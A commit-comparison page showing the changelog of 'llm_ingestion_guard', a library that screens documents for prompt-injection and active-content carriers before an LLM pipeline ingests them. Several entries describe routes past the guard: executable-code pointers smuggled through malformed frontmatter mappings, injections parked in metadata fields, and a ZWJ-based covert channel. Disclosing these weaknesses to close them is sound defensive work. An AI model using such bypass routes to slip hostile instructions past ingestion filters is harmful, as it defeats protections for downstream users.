Compare commits
52 commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 0184df9ed9 | |||
| 9aeceb02c0 | |||
| 58704834b6 | |||
| 7cb4553301 | |||
| 01f6f382c4 | |||
| 74656123f9 | |||
| 4472f209a4 | |||
| 2b03b8d643 | |||
| 246e1fc1d3 | |||
| 45c2b06315 | |||
| 869f9058f7 | |||
| ca4f97c8c9 | |||
| da30211bc7 | |||
| 6cd4694613 | |||
| 98ebc07b56 | |||
| e9d8fb2b9d | |||
| ab6000b1af | |||
| aff35118bf | |||
| 2466d260d3 | |||
| c48a2923ac | |||
| 566706360a | |||
| be9759b4b3 | |||
| 72de0e0c15 | |||
| fcfaee4589 | |||
| 0df7e87c2f | |||
| 0903785187 | |||
| a59184bb7f | |||
| 1d49f83a61 | |||
| ee73062864 | |||
| 6bcb898632 | |||
| 736f370cfb | |||
| e671edb96f | |||
| 6e87a0ff16 | |||
| 0dce50fb05 | |||
| f669479777 | |||
| d3d0928c17 | |||
| d1bff6047d | |||
| 398eb7407b | |||
| de097110d2 | |||
| 3c56d50e05 | |||
| 73ad5e1ed8 | |||
| b90233481a | |||
| 0bf07295c2 | |||
| 0add3e7e96 | |||
| 7ee1ed13af | |||
| 2d98d6809d | |||
| adf93e47fb | |||
| 73fa1b99ae | |||
| abbfe5f0fd | |||
| 23475f9ec6 | |||
| 701a4a47c7 | |||
| b8028ba870 |
41 changed files with 5206 additions and 281 deletions
744
CHANGELOG.md
744
CHANGELOG.md
|
|
@ -5,7 +5,749 @@ All notable changes to this project will be documented in this file.
|
|||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [Unreleased]
|
||||
## [1.2.0] — 2026-08-23
|
||||
|
||||
### Added — OKF frontmatter can express one mapping form: typed and allowlisted
|
||||
|
||||
`okf.parse_frontmatter` gave the mapping *class* no expressible form at all. OKF
|
||||
v0.2 writes its whole trust and provenance layer as mappings — SPEC.md @
|
||||
`62432a09` uses flow form in its own §5.1/§5.2 examples, and §11 carries a hard
|
||||
MUST for consumers ("MUST treat a bare `verified` mapping as a one-element
|
||||
list") that presupposes they parse. A consumer measured **0 of 53** upstream
|
||||
concepts through the gate on 0.3.4, 1.0.0 and 1.1.0. That was a contract
|
||||
collision, not a calibration setting: no threshold would have moved it.
|
||||
|
||||
Admitted now: a flow mapping (`generated: { by: x, at: y }`), as a value or as a
|
||||
block-list item, whose every key is on a nine-name allowlist (`by`, `at`, `from`,
|
||||
`to`, `id`, `title`, `author`, `usage_count`, `last_modified`) and whose every
|
||||
leaf is a plain scalar run through the *unchanged* dangerous-value and
|
||||
mapping-construct predicates.
|
||||
|
||||
The form is additive and refusal stays the default. A key off the allowlist, a
|
||||
nested collection, a quoted leaf, a duplicate key, an empty or unclosed mapping,
|
||||
and `{a:b}` (which PyYAML 6.0.3 reads as the *key* `a:b`) all raise, and a
|
||||
refused mapping still raises rather than degrading into a string — the 1.1.0
|
||||
defect is not reopened. Nested-block (`k:\n sub: v`), dotted (`k.sub: v`) and
|
||||
inline-second-colon (`k: sub: v`) routes to a mapping still raise, each on its
|
||||
own rule.
|
||||
|
||||
**`resource` is deliberately off the allowlist**, though SPEC.md §5.1 names it
|
||||
inside a `sources` entry. It is a pointer rather than a label and the only key
|
||||
T3 exists for: admitting it would let `executor: { resource: skills/run.md }`
|
||||
carry an executable-code pointer through in typed clothes, which is the door-C
|
||||
route closed in 1.1.0. It costs nothing today — the conformant carrier for
|
||||
`sources[].resource` is a block sequence of block mappings, which this form does
|
||||
not admit either way.
|
||||
|
||||
Mapping leaves are scanned like every other frontmatter value (T1), so an
|
||||
injection parked in `generated: { by: ... }` reaches `scan_output`. Coverage
|
||||
matrix: 130 classes, up from 129 (the new row is the off-allowlist key).
|
||||
|
||||
No exported surface changed; no detector behaviour and no calibration changed.
|
||||
|
||||
|
||||
### Changed — the ReDoS sweep now measures on the same clock as the bounds it justifies
|
||||
|
||||
`docs/redos-sweep.py` timed on `time.monotonic()` while every ReDoS bound in the
|
||||
suite moved to process CPU time (`tests/redos_clock.py`), so the 1.5 ms
|
||||
sensitivity floor and the "~23 s at the cap" figure published in
|
||||
`docs/LIMITATIONS.md` came from a different instrument than the bounds they
|
||||
support. The script now imports `scan_seconds` rather than timing itself.
|
||||
|
||||
The floor was re-derived on that instrument and **stayed at 1.5 ms**: over twelve
|
||||
full runs of all 2585 arms the median ratio is 1.95-2.03 in every size bucket
|
||||
above 50 µs, but two-point excursions past the 2.6 flag threshold persist at every
|
||||
magnitude (p99 ratio 2.9-3.3 even above 1 ms) — 6.9 flagged arms per run at a
|
||||
0.5 ms floor, 1.1 at 1.0 ms, 0.33 at 1.5 ms. Descheduling was never what made this
|
||||
sweep noisy; a ratio computed from two points is. Four arms flagged across those
|
||||
twelve runs, each in exactly one of them, and six arms that have ever flagged
|
||||
re-measure at exponent 0.97-1.09 over six doublings — at most 1.2 s at the
|
||||
1 000 000-char cap. The pattern count the script prints is 152, not the 150 of the
|
||||
0.3.4 entry below; `docs/LIMITATIONS.md` now carries the current number.
|
||||
|
||||
No exported surface, no detector behaviour and no calibration changed.
|
||||
|
||||
|
||||
## [1.1.0] — 2026-08-13
|
||||
|
||||
### Fixed — a mapping construct in OKF frontmatter no longer degrades into a string
|
||||
|
||||
`okf.parse_frontmatter` gives the mapping *class* no expressible form by design
|
||||
(T2). Two routes escaped that: they parsed "successfully" into the wrong **type**
|
||||
instead of raising. Both are closed, and both now `FAIL_SECURE` through
|
||||
`okf.import_bundle` (door C).
|
||||
|
||||
| route | was | now |
|
||||
|---|---|---|
|
||||
| `sources:`<br>` - uri: https://e.com/a` | string `'uri: https://e.com/a'` — WARN | `OKFFrontmatterError` — FAIL_SECURE |
|
||||
| `sources:`<br>` - uri:` | string `'uri:'` — WARN | `OKFFrontmatterError` — FAIL_SECURE |
|
||||
| `attester: resource: attesters/x.py` | string `'resource: attesters/x.py'` — WARN | `OKFFrontmatterError` — FAIL_SECURE |
|
||||
|
||||
The security consequence was the same in each: a pointer parked in a degraded
|
||||
mapping rides through in a key the `resource` allowlist never inspects, and mode-b
|
||||
`import_bundle` writes the merged concept verbatim. The first route was documented
|
||||
at `docs/LIMITATIONS.md:43`; the inline second colon was **found by measurement
|
||||
while closing it**, and is the reason this release names two routes rather than one.
|
||||
Neither shape is conformant OKF — a well-formed bundle does not produce them; a
|
||||
malformed or hostile one can.
|
||||
|
||||
**What closed is the type confusion, not pointer-smuggling as a class.** T3 still
|
||||
inspects `resource` and nothing else, so an honest string under another key rides
|
||||
through exactly as before: `attester: attesters/sql_equality.py` is WARN, while
|
||||
the same path under `resource:` FAIL_SECUREs. The string is still scanned like any
|
||||
other frontmatter value under T1. Nothing about that changed here.
|
||||
|
||||
**The boundary is where YAML puts it**, ground-truthed against PyYAML 6.0.3 rather
|
||||
than reasoned: `": "` and a trailing `":"` are exactly the two shapes where a plain
|
||||
scalar becomes a mapping, and they are refused. A colon carrying neither a space nor
|
||||
a line end opens no mapping — `domain:security` and `https://e.com:8443/a` still
|
||||
parse — and a quoted scalar (`- "uri: x"`) is still a scalar. Quotes are retained
|
||||
rather than stripped; that divergence from YAML is unchanged and now pinned.
|
||||
|
||||
**This is a behaviour change inside the freeze, not a break of it.** No exported
|
||||
name moved. A document that disposed `WARN` on `1.0.0` may dispose `FAIL_SECURE`
|
||||
here — the `1.0.0` entry says exactly this is a fix, not a break. A consumer whose
|
||||
bundles carry an unquoted `": "` in a frontmatter value will now see those concepts
|
||||
refused at import; quote the value, and it parses.
|
||||
|
||||
Suite 792 → **802**: 13 rows added (4 rejected shapes, 7 admitted ones, 2 through
|
||||
`import_bundle`), 3 retired (the two that pinned the defect, and the one-key row
|
||||
in the block-list table). 129/129 classes, 6/6 documented gaps, 35 limitations —
|
||||
all unchanged.
|
||||
|
||||
|
||||
## [1.0.0] — 2026-08-13
|
||||
|
||||
### Changed — the exported Python surface is frozen under semver
|
||||
|
||||
No code changed in this release. `1.0.0` is a governance promise, not a claim that
|
||||
the library is finished: **no name exported from `llm_ingestion_guard` is removed,
|
||||
renamed or given a different meaning without a `2.0.0`.** Measured before the tag,
|
||||
the surface has been stable in form since `0.3.4` — four names added, none removed
|
||||
or renamed — while behaviour moved across five releases (`0.4.0` … `0.7.0`).
|
||||
|
||||
**Detection behaviour is deliberately outside the freeze.** Severities, thresholds,
|
||||
lexicon entries and the dispositions they produce are calibration, and calibration
|
||||
moves in minor and patch releases. A payload that disposes `WARN` here may dispose
|
||||
`FAIL_SECURE` in a later `1.x`; that is a fix, not a break. Assert on the
|
||||
disposition your policy requires, not on a severity you observed.
|
||||
|
||||
The behaviour changes this freeze rests on are not repeated here — see `[0.3.0]`
|
||||
for the active-content gate and the OKF adapter, and `[0.3.1]` for the
|
||||
ordinary-link/image calibration that the two consumer promises pin.
|
||||
|
||||
### Changed — three limitations are conceded for `1.x` rather than deferred
|
||||
|
||||
`docs/LIMITATIONS.md` no longer says "deferred" or "pending" about any of them:
|
||||
|
||||
- `Severity` still carries disposition intent on the detection side. Separating
|
||||
*what was seen* from *how bad it is* changes `Finding` and `Severity`, so it is a
|
||||
`2.0.0` change. Read a finding's `id` for the capability.
|
||||
- The input-cap asymmetry at `MAX_INPUT_CHARS` is permanent in `1.x`: surfaces that
|
||||
return content raise `OversizeInputError`, surfaces that return findings truncate
|
||||
and emit `active:oversize-input`.
|
||||
- The multilingual homoglyph false positive is conceded more narrowly — no fix is
|
||||
promised, but it is calibration, so one may land in any `1.x` release.
|
||||
|
||||
`SECURITY.md` carries all three as documented boundaries and states the support
|
||||
window for a `1.x` line.
|
||||
|
||||
### Known at the freeze, deliberately not blocking it
|
||||
|
||||
`docs/LIMITATIONS.md` §`:43` — an OKF block sequence with exactly one key per
|
||||
element misparses silently in `okf.import_bundle`, so a pointer can ride through in
|
||||
a key the `resource` allowlist never inspects. Closing it tightens what the adapter
|
||||
admits: behaviour, not form, and shippable in a `1.x` minor. It is recorded here
|
||||
because "we knew, and froze first" is a defensible position and "we forgot" is not.
|
||||
|
||||
Runtime coverage at the freeze: `llm-ingestion-okf` has measured `0.3.4` and run a
|
||||
`0.3.4`→`0.6.1` differential on its own door across two Python versions;
|
||||
`llm-security-commons` differentially tested its independent reconstruction of the
|
||||
raw-HTML classifier against ours over 42 probe tags with 0 disagreements. **No
|
||||
external consumer has run the `0.7.0` runtime**; the four symbols added since
|
||||
`0.3.4` are additive, so a caller that does not invoke them is unaffected.
|
||||
|
||||
|
||||
## [0.7.0] — 2026-08-13
|
||||
|
||||
### Added — `active:raw-html-link`, a click-required carrier class for raw HTML
|
||||
|
||||
Raw HTML graded on activity alone: every active tag was HIGH. So the *same URL*
|
||||
was LOW as `[t](https://example.com/guide)` and HIGH as
|
||||
`<a href="https://example.com/guide">` — an asymmetry produced by syntax, not by
|
||||
affordance. Following an anchor needs a human, exactly like the markdown inline
|
||||
link that has been MEDIUM since 0.3.1.
|
||||
|
||||
`<a>` and `<area>` now report as **`active:raw-html-link` at MEDIUM**. Everything
|
||||
a renderer fetches or executes unattended keeps `active:raw-html` at HIGH, and the
|
||||
event-handler test runs *first*, so `<a onclick=...>` is graded as the
|
||||
execute-class carrier it is rather than downgraded with the anchors.
|
||||
|
||||
The URL-attribute branch deliberately stays on the HIGH side: a name outside the
|
||||
active set has unknown rendering, and `href` is not the only URL attribute it may
|
||||
carry. Grading `<Card src="...">` as a link would be reasoning, not measurement.
|
||||
|
||||
**This is a new label, and labels are a contract surface consumers pin against.**
|
||||
A document that previously produced one `active:raw-html` finding may now produce
|
||||
two findings, one per carrier class.
|
||||
|
||||
### Changed — a tag whose whole affordance is a URL it does not carry is inert
|
||||
|
||||
`</a>`, `<Frame>`, `<video />` and `<img alt="...">` without `src` were active by
|
||||
*name* while naming no target at all. This is `<base />`'s argument from 0.6.0 —
|
||||
"attribute-less, therefore no affordance in any renderer" — applied to the rest of
|
||||
the name branch. The test is for the URL attribute's **presence**, not for a
|
||||
readable value: a value the parser cannot resolve keeps the tag active, mirroring
|
||||
the fail-secure gap `_url_attr_is_external` already leaves open.
|
||||
|
||||
Every other member of the active name set does something a URL cannot describe —
|
||||
`<script>` executes its body, `<style>` restyles, `<form>` submits — and stays
|
||||
active with no attributes at all.
|
||||
|
||||
### Changed — `active_tag_class` is the classification point; `is_active_tag` wraps it
|
||||
|
||||
`docs/rawhtml-census.py` measures candidates by patching this symbol, and a
|
||||
boolean could only express a narrowing, never a regrade. Left as a boolean, every
|
||||
carrier candidate would have measured equal to PRODUCTION — silently, and in the
|
||||
direction that reads as "no change helps".
|
||||
|
||||
### Measured
|
||||
|
||||
`docs/rawhtml-census.py`, three populations, each at one corpus state and each
|
||||
against its own denominator — the two wiki corpora share content and are never
|
||||
summed. Documents that stop being `fail_secure` under `PRESET_USER_UPLOAD`, from
|
||||
0.6.0 as shipped to 0.7.0, with the ceiling being the raw-HTML detector switched
|
||||
off entirely:
|
||||
|
||||
| population | documents | 0.6.0 → 0.7.0 | ceiling | share of achievable |
|
||||
|---|---|---|---|---|
|
||||
| reference-corpus | 389 | 54 → 53 | 53 | 1 of 1 |
|
||||
| vendor-harvest | 187 | 62 → 20 | 18 | 42 of 44 (95%) |
|
||||
| generated-notes | 552 | 59 → 15 | 13 | 44 of 46 (96%) |
|
||||
|
||||
**Neither change alone is worth shipping, and the census is why they went out
|
||||
together.** Alone, the split frees 8 documents in each wiki corpus and the
|
||||
narrowing 21 and 23 — but 8+21 measures 42 and 8+23 measures 44. The residual is
|
||||
**13 documents in both corpora**: the narrowing strips a document's `</a>` and
|
||||
`<Frame>`, and what is left is the `<a href=...>` the split grades down, so each
|
||||
change alone leaves the document blocked by the other's residue.
|
||||
|
||||
**Tightening, measured: 0 documents on both trust tiers, in all three
|
||||
populations.** That zero is empirical and thinner than it looks — the split
|
||||
*alone* tightens 13 documents on the trusted tier in vendor-harvest and 14 in
|
||||
generated-notes, and the narrowing cancels each one. See `docs/LIMITATIONS.md`
|
||||
for why it must not be read as "cannot happen".
|
||||
|
||||
The `PRODUCTION (as shipped)` row matched `C1 + D (0.7.0)` field for field in
|
||||
every population, which is the check that the census and the shipped predicate
|
||||
have not drifted apart.
|
||||
|
||||
### Known behaviour change
|
||||
|
||||
**`count` drops on documents containing `</a>`.** Through 0.6.1 an end tag was
|
||||
active by name, so `count` ran roughly 1.6× the opening-tag total and a start/end
|
||||
pair counted 2. It is now the opening-tag total. The field's meaning did not
|
||||
change and the finding count is unaffected — the class still collapses to one
|
||||
finding per class per document.
|
||||
|
||||
|
||||
## [0.6.1] — 2026-08-11
|
||||
|
||||
### Fixed — the zero-width check tested identity, so emoji-composed documents were hard-blocked
|
||||
|
||||
`_ZERO_WIDTH` (sanitize, input) and `_ZERO_WIDTH_CPS` (output,
|
||||
`_scan_invisible_carriers`) tested U+200D on codepoint membership alone.
|
||||
`disposition._CARRIER_LABELS` grades a carrier as any-tier `fail_secure` with no
|
||||
appeal, so **any** first-party document containing a ZWJ-composed emoji —
|
||||
professions, families, skin tones, flag variants — was blocked permanently, with
|
||||
no preset able to release it. Reported by `ms-ai-architect`, confirmed here
|
||||
against the code.
|
||||
|
||||
The worse half was not in the report: sanitize *removed* the joiner, silently
|
||||
decomposing one emoji into two unrelated ones. A module whose published contract
|
||||
is "only ever removes carriers" was corrupting content.
|
||||
|
||||
The fix is the shape our own lexicon row `unicode:zero-width-in-word`
|
||||
(`\w[ZW]\w`) already used — **judge the joiner by context, not identity**. A ZWJ
|
||||
is exempt only when *both* neighbours are emoji-context codepoints. Half-context
|
||||
is not context, so `a<ZWJ>😀` stays a carrier and an attacker cannot buy
|
||||
exemption with a single trailing emoji.
|
||||
|
||||
**Blocks, not an emoji table.** Measured against Unicode 17.0's
|
||||
`emoji-zwj-sequences.txt`: 1614 RGI sequences use 122 distinct codepoints
|
||||
adjacent to a ZWJ, and five block ranges cover 122/122. The measurement earned
|
||||
its keep — the hand-reasoned candidate table missed U+2194, U+2195 and U+2B1B.
|
||||
Shipping the RGI list itself would be exact the day it landed and stale at the
|
||||
next Unicode release, reopening this false positive for every new emoji; whole
|
||||
blocks carry the unassigned headroom (458 `Cn` codepoints) that future emoji are
|
||||
allocated into, so the table does not age. The predicate is defined once in
|
||||
`sanitize` and imported by `output`; a cross-surface test asserts the two halves
|
||||
agree on six inputs.
|
||||
|
||||
### Known behaviour change
|
||||
|
||||
**Documents whose only finding was an emoji-context ZWJ now persist unattended.**
|
||||
On `PRESET_USER_UPLOAD` they move from `fail_secure` to `WARN`. Measured across
|
||||
the three false-positive populations at one corpus state: **1 document of 1126**
|
||||
(reference-corpus 1/389, vendor-harvest 0/187, generated-notes 0/550). This is a
|
||||
loosening of the *upload door*, not of detection — recall is unchanged at 128/128
|
||||
demonstrated classes with 6/6 documented gaps holding, and a ZWJ anywhere else,
|
||||
including between a word character and an emoji, is graded exactly as before.
|
||||
|
||||
**Patch, not minor.** 0.6.0 called itself minor for loosening the same door, but
|
||||
that was a policy choice — `<base>` left the active name set by decision. This
|
||||
one restores a contract the module already published, against a class that was
|
||||
never meant to be blocked. A fix whose observable effect is the point of the fix
|
||||
is what the patch level is for.
|
||||
|
||||
### Residuals — both documented (`docs/LIMITATIONS.md`, 33 → 34 items)
|
||||
|
||||
- **A ZWJ between two emoji is now exempt**, so it can carry a narrowband covert
|
||||
channel: one emoji per bit, and it cannot split a word. A deliberate narrowing,
|
||||
stated rather than hidden.
|
||||
- **U+200C (ZWNJ) still has no context test.** It is orthographically *required*
|
||||
in Persian, Arabic and Devanagari, so those documents stay hard-blocked. The
|
||||
criterion has to be script-based rather than pictographic, and no corpus is
|
||||
here to verify one against — parked as a known false-positive class rather than
|
||||
guessed at.
|
||||
|
||||
736 tests pass (was 727).
|
||||
|
||||
|
||||
## [0.6.0] — 2026-08-11
|
||||
|
||||
### Changed — `active:raw-html` stops firing on two things that carry no affordance
|
||||
|
||||
`is_active_tag` had two over-reaching branches, both measured on consumer corpora
|
||||
rather than argued from the code:
|
||||
|
||||
- **The URL-attribute branch was a presence test.** Any element carrying `href=`,
|
||||
`src=`, `action=` … graded HIGH regardless of where the URL pointed. An MDX
|
||||
`<Card href="/en/agent-sdk/quickstart">` — an internal doc route — reaches no
|
||||
attacker-controlled host, and neither does Azure APIM policy XML's `<set-header>`.
|
||||
The branch now requires an **external** target (absolute scheme or
|
||||
protocol-relative), the rule the markdown paths have applied since 0.3.1.
|
||||
- **`<base>` left the active name set.** HTML's `<base>` has its entire affordance in
|
||||
its `href`, which the URL-attribute branch still catches. APIM's attribute-less
|
||||
`<base />` means "run the inherited policy" and is inert in every renderer.
|
||||
|
||||
**Measured before and after in one session, against one corpus state** — the two
|
||||
wiki corpora are living, so a before/after split across sessions would mix this
|
||||
change with re-harvest drift:
|
||||
|
||||
| population | n | before | after | ceiling (raw-HTML off) |
|
||||
|---|---|---|---|---|
|
||||
| reference-corpus | 389 | 133 | **108** | 107 |
|
||||
| vendor-harvest | 187 | 100 | **98** | 62 |
|
||||
| generated-notes | 550 | 90 | **88** | 49 |
|
||||
|
||||
96% of the achievable reduction in reference-corpus, 5% in the two wiki corpora:
|
||||
the over-reach was nearly the whole raw-html cost in APIM policy XML and nearly none
|
||||
of it in vendor documentation, where what remains is real HTML — `<a>` 298, `<frame>`
|
||||
94, `<img>` 63 — caught correctly by the name branch.
|
||||
|
||||
**The two classes had to be measured together.** Alone they free 3 and 13 documents
|
||||
in reference-corpus; together, 25. A document carrying one usually carries the other,
|
||||
so closing either alone leaves it blocked by its twin. `docs/rawhtml-census.py` now
|
||||
carries a `PRODUCTION` row that re-measures the shipped predicate instead of a
|
||||
hypothetical, so a doc number and the code cannot drift apart unnoticed.
|
||||
|
||||
### Known behaviour change
|
||||
|
||||
**Documents whose only finding was one of these two classes now persist unattended.**
|
||||
On `PRESET_USER_UPLOAD` they move from `fail_secure` / `quarantine_review` to `WARN`
|
||||
— 25 documents in the reference corpus, 2 in each wiki corpus. This is a deliberate
|
||||
loosening of the *upload door*, not of detection: recall is unchanged at 128/128
|
||||
demonstrated classes with 6/6 documented gaps holding, and a tag that is active by
|
||||
name, carries an `on*=` handler, or points anywhere external is graded exactly as
|
||||
before. An element outside the active name set whose only URL attribute is
|
||||
doc-relative is the whole of what changed.
|
||||
|
||||
### Fixed — the scanner and the mutator no longer share one predicate
|
||||
|
||||
`neutralize` imported `is_active_tag` from `active_content` by name, so narrowing the
|
||||
scanner would have silently narrowed the opt-in mutator as well — and **no test in
|
||||
the suite discriminated the two halves**: every `neutralize:raw-html` payload stayed
|
||||
active under each narrowing considered. The predicates are now separate symbols,
|
||||
`is_active_tag` (scanner, external-target rule) and `is_defangable_tag` (mutator,
|
||||
unchanged broad behaviour), and the mutator half is pinned by its own test. Over-
|
||||
defanging costs nothing there — `neutralize` is opt-in and blocks no disposition —
|
||||
while under-defanging would hand a human a live construct.
|
||||
|
||||
### Self-safety (OWASP LLM10)
|
||||
|
||||
Reading a URL attribute's *value* needs a pattern the presence test does not provide.
|
||||
It reuses the same literal alternation with the value attached, so no new run shape
|
||||
enters the table, and `_REDOS_PAYLOADS` gains a row (`active-url-attr-value`) whose
|
||||
unit **denies** the `=` the pattern requires — a unit supplying it matches at once and
|
||||
never exercises the run. Measured at 100_000 chars: 0.031–0.046s across five attack
|
||||
shapes, against the suite's 2.0s bound. A gap between the two patterns fails secure:
|
||||
an attribute seen by the presence test but unreadable by the value parser counts as
|
||||
external, so it over-blocks rather than under-blocks.
|
||||
|
||||
727 tests pass (was 717).
|
||||
|
||||
|
||||
## [0.5.0] — 2026-08-11
|
||||
|
||||
### Added — the axis separation: assessment (`Risk`) vs action (`Disposition`)
|
||||
|
||||
> **Additive, and measured to be so.** Every disposition 0.4.0 rendered is
|
||||
> rendered identically: the full suite went 703 → 715 with no test changed, the
|
||||
> coverage matrix holds at 128/128 recall with 6/6 documented gaps, and the
|
||||
> `PRESET_USER_UPLOAD` grading table locked in 0.3.1 was re-measured row by row
|
||||
> and is unchanged. A caller that never reads the new field sees no difference.
|
||||
|
||||
`decide` and `guard` returned a `Disposition` — `WARN` / `QUARANTINE_REVIEW` /
|
||||
`FAIL_SECURE` — which names an **action**. But BRIEF design principle 4 says the
|
||||
library reports and the *pipeline* decides, and `disposition.py` admitted the
|
||||
gap in its own docstring: *"It imposes no blocking of its own."* So the library
|
||||
returned an action it cannot enforce, while discarding the judgement that
|
||||
produced it. A consumer wanting different behaviour had to reinterpret the
|
||||
action itself, which is why a consumer ends up pinning our *grading* — the
|
||||
action was all they got.
|
||||
|
||||
- **`Risk`** — the new assessment axis: `NONE` / `LOW` / `ELEVATED` / `SEVERE`.
|
||||
It answers *how dangerous is this artifact given its source context*, and is
|
||||
trust-aware exactly as BRIEF §4.7 describes the domain: the same finding
|
||||
genuinely is a different judgement in authored prose than in a code fence.
|
||||
- **`DispositionResult.assessment`** — carries that judgement alongside the
|
||||
action. The field is **required, with no default**: `Risk.NONE` would be the
|
||||
natural-looking default and is the wrong one, since a construction site that
|
||||
forgot it would report *clean* and the axis would fail open.
|
||||
- **`Policy.action_map`** — an optional `Risk -> Disposition` override, so
|
||||
"hold for review where you would block" is a policy statement rather than a
|
||||
reason to pin our grading. Defaults to `None`, which means
|
||||
`DEFAULT_ACTION_MAP` and keeps an untouched `Policy` hashable as before. A
|
||||
partial map falls back per-level instead of raising.
|
||||
- Both overlays — compound escalation and the quarantine floor — now move the
|
||||
**assessment**, so a custom action map cannot silently drop them.
|
||||
- The fail-closed path in `guard` pins both axes to their most severe value and
|
||||
deliberately does **not** route through the action map: a policy that
|
||||
downgrades `SEVERE` means "I accept this class of finding", never "I accept a
|
||||
scanner that crashed on crafted input" (§4.6).
|
||||
|
||||
`NONE` and `LOW` both map to `WARN`, which is the point rather than an
|
||||
oversight: a clean document and one carrying only low-severity findings were a
|
||||
single indistinguishable value through 0.4.0.
|
||||
|
||||
### Known limitation recorded (32, was 31)
|
||||
|
||||
`Severity` still carries disposition intent on the *detection* side — the
|
||||
separation above is caller-side only. Two places say so outright:
|
||||
`ACTIVE_CONTENT_ORDINARY_SEVERITY = LOW` exists because grading an ordinary
|
||||
external image `HIGH` fail-secured ordinary uploads, and the quarantine floor
|
||||
was raised to `MEDIUM+` to repair the same regression from the other end.
|
||||
Closing it changes the grading and so fires a consumer-notification promise;
|
||||
deferred deliberately. See `docs/LIMITATIONS.md`.
|
||||
|
||||
### Measured — what the upload door costs on benign documents (33rd limitation)
|
||||
|
||||
Every field measurement this project had published was **per URL**. None of them
|
||||
answered the question a consumer actually asks: *how often does an ordinary
|
||||
document cost me a human?* Three benign populations were run through
|
||||
`screen_output` under `PRESET_USER_UPLOAD` and counted at document granularity —
|
||||
98 of 185 vendor-published doc pages (53.0%), 88 of 547 model-written notes
|
||||
(16.1%), and 133 of 389 first-party reference documents (34.2%) disposed to
|
||||
something other than WARN.
|
||||
|
||||
The number is bad and is published as measured. `docs/PLAN-v1.md` committed to
|
||||
that in advance — *"et rødt FP-resultat er like verdifullt"* — and the response
|
||||
here is a documented limitation, not a recalibration: moving the grading would
|
||||
fire a locked consumer-notification promise, and the drivers are residuals this
|
||||
document already concedes rather than anything newly discovered.
|
||||
|
||||
- **`docs/fp-sweep.py`** — the method, re-runnable, corpus roots as arguments.
|
||||
It refuses to print a pooled total (the populations have different provenance
|
||||
and different denominators) and it aborts if the default action map stops
|
||||
sending exactly `NONE` and `LOW` to WARN, since the published count is a
|
||||
statement about *assessed risk* and only equals one while that holds.
|
||||
- **`tests/test_corpus.py::test_the_published_fp_metric_is_a_risk_statement`** —
|
||||
the same equivalence, pinned in the suite. An `action_map` override is a
|
||||
supported feature as of the axis separation above, so without this pin a
|
||||
consumer-facing number could change meaning with nothing failing.
|
||||
|
||||
### Corrected — 0.3.3 listed two behaviour-change classes and there were three
|
||||
|
||||
Sweeping the same population against the **v0.3.1 tag a consumer actually pins**
|
||||
(scratch venv, `git+file://…@v0.3.1`, resolved version asserted) returned 99 of
|
||||
185 (53.5%) where the current tree returns 98 (53.0%). One document moved, and
|
||||
chasing it corrects a claim rather than confirming one.
|
||||
|
||||
`docs-en-fullscreen.txt` disposed QUARANTINE_REVIEW at 0.3.1 and WARN now,
|
||||
because `markdown:link-anchor-injection` no longer fires on it. Under 0.3.1 that
|
||||
pattern matched **300 characters of ordinary prose**: it opened at a `[`, ran
|
||||
across intervening text containing the word *execute*, and closed at a distant
|
||||
`](…)` belonging to a different construct. The 0.3.3 ReDoS fix excluded `[` from
|
||||
the anchor class and `(` from the target class, which telescopes the runaway —
|
||||
and, as a side effect nobody measured at the time, deletes this false-positive
|
||||
class too.
|
||||
|
||||
0.3.3's *Known behaviour changes* said **"None measured"** and then named two
|
||||
exceptions: URLs with a literal `(` in the target, and comment bodies with a
|
||||
literal `(` before the keyword. It missed the third: an anchor can no longer span
|
||||
a `[`, so a match that used to bridge two separate markdown constructs no longer
|
||||
forms. The correction is in our favour — one fewer false positive per 185
|
||||
documents of vendor documentation — but it was a behaviour change presented as
|
||||
none, and it took a field sweep to find it.
|
||||
|
||||
### Fixed
|
||||
|
||||
- A **retracted** number was still living in a test comment.
|
||||
`tests/test_wiring.py` credited a consumer's capture store with 35 of 35
|
||||
query-carrying URLs. That consumer retracted it the next day and re-measured 28
|
||||
of 28 on the same 81-URL corpus; `docs/LIMITATIONS.md` was corrected then and
|
||||
the comment was not. Corrected, with the retraction written into the comment so
|
||||
it cannot read as a second, disagreeing measurement.
|
||||
|
||||
- **Five current-state version claims had never been updated by any release.**
|
||||
The 0.4.0 release commit touched three files — `CHANGELOG.md`,
|
||||
`pyproject.toml`, `src/llm_ingestion_guard/__init__.py` — and deferred the
|
||||
README deliberately, so that the install block would not point at a tag before
|
||||
a clean-venv install had proven it resolved. That proof step never ran, so tag
|
||||
`v0.4.0` permanently carries a README advertising `v0.3.4`. The tag is not
|
||||
moved; the ordering is.
|
||||
|
||||
Sweeping *every* tracked file for a version claim, rather than the four
|
||||
surfaces the release checklist named, found four more that no release had ever
|
||||
touched — plus a stale test count:
|
||||
|
||||
- `SECURITY.md` — "The project is pre-1.0 (`0.2.x`, alpha). Only the latest
|
||||
published version receives fixes." The only one with a consequence for an
|
||||
outsider: it named a support window two minor lines behind the code.
|
||||
- `README.md` — `**Status:** v0.3`, stale since 0.4.0.
|
||||
- `docs/BRIEF.md` and `CLAUDE.md` — "v0.2 (alpha)", stale since 0.3.0. The
|
||||
latter also claimed 12 modules where `src/` has 15.
|
||||
- `docs/ADOPTION-BRIEF.md` — "**703 passing**", where the suite is at 717.
|
||||
|
||||
Every one of them is a *current-state* claim. Measurement provenance — "New in
|
||||
`v0.4.0`", "verified identical on 0.2.0 and 0.3.1", "measured against the
|
||||
v0.3.1 tag" — is left exactly as written, because bumping those would falsify
|
||||
the record rather than update it. From here all current-state surfaces move in
|
||||
the release commit itself and are verified by `git show <sha>` *before* the tag
|
||||
exists, since that is the only check the previous ordering could not perform.
|
||||
|
||||
Found because `llm-ingestion-okf` took our report of this defect class as a
|
||||
hypothesis about their own repo, measured it, found a worse instance, and sent
|
||||
back the generalization: writing down a trap is not the same as applying it.
|
||||
|
||||
|
||||
## [0.4.0] — 2026-08-10
|
||||
|
||||
> **Behaviour change, not a pure fix — and that is why this is 0.4.0 and not
|
||||
> 0.3.5.** The three transform surfaces gain a refusal path they did not have. A
|
||||
> caller that passes a document larger than 1 000 000 characters now gets an
|
||||
> exception where it previously got a result. Adding a raise to a function that
|
||||
> was previously total is breaking under SemVer whatever the measured blast
|
||||
> radius turns out to be, so the number follows the change, not the survey.
|
||||
>
|
||||
